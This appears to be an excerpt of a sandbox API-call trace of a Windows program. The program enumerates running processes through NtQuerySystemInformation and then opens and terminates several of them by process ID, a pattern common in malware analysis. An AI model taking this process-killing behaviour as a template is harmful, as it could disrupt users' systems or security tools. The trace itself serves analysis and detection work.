	[0063.725] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x18360) returned 0x2882158
	[0063.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.725] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x19384) returned 0x2882158
	[0063.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.726] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1a3a8) returned 0x2882158
	[0063.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.726] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1b3cc) returned 0x2882158
	[0063.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.727] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1c3f0) returned 0x2882158
	[0063.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.728] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1d414) returned 0x2882158
	[0063.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.728] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1e438) returned 0x2882158
	[0063.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.729] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1f45c) returned 0x2882158
	[0063.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.729] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x20480) returned 0x2882158
	[0063.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.730] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x214a4) returned 0x2882158
	[0063.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.730] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x224c8) returned 0x2882158
	[0063.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.731] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x234ec) returned 0x2882158
	[0063.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.731] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x24510) returned 0x2882158
	[0063.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.732] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x25534) returned 0x2882158
	[0063.732] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0x0
	[0063.732] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x2866720
	[0063.732] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866720) returned 1
	[0063.732] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x28796b0
	[0063.732] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28796b0) returned 1
	[0063.732] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x28776a0
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877660
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876e00
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e00) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877148
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877148
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877030
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877030) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.733] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876db0
	[0063.734] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876db0) returned 1
	[0063.734] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881b78
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b78) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x34) returned 0x286fac8
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fac8) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877fa8
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fa8) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x30) returned 0x2881b78
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b78) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876d60
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d60) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877fd8
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fd8) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876ec8
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879698
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877008
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881ec0
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881ec0) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877e88
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0063.735] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877148
	[0063.735] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0063.736] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770d0
	[0063.736] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0x370, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0063.736] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0x0
	[0063.741] NtClose (Handle=0x334) returned 0x0
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770d0) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881d70
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881d70) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x48) returned 0x2862658
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2862658) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881fd8
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881fd8) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881c90
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c90) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876cc0
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876cc0) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286f848
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f848) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x42) returned 0x2862518
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2862518) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286f588
	[0063.741] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f588) returned 1
	[0063.741] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881b78
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b78) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881d70
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881d70) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877008
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878128
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.742] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.742] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.742] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0xc28, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0063.742] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0x0
	[0063.745] NtClose (Handle=0x334) returned 0x0
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877148
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879698
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x28770d0
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770d0) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876d38
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d38) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877d68
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d68) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881d00
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881d00) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877080
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877080) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.745] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.745] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.746] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876ec8
	[0063.746] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0063.746] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.746] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0x6bc, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0063.746] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0x0
	[0063.748] NtClose (Handle=0x334) returned 0x0
	[0063.748] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.748] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0063.748] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.748] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876e00
	[0063.748] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e00) returned 1
	[0063.748] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.748] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.748] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876ec8
	[0063.748] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0063.749] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876fb8
	[0063.749] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0xeac, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0063.749] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0x0
	[0063.751] NtClose (Handle=0x334) returned 0x0
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877008
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876d60
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d60) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770a8
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878068
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878068) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877f48
	[0063.751] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877f48) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877660
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1e) returned 0x2877148
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881c58
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c58) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2878038
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878038) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877520
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877dc8
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877dc8) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x28775a0
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2877d38
	[0063.752] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d38) returned 1
	[0063.752] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x28776a0
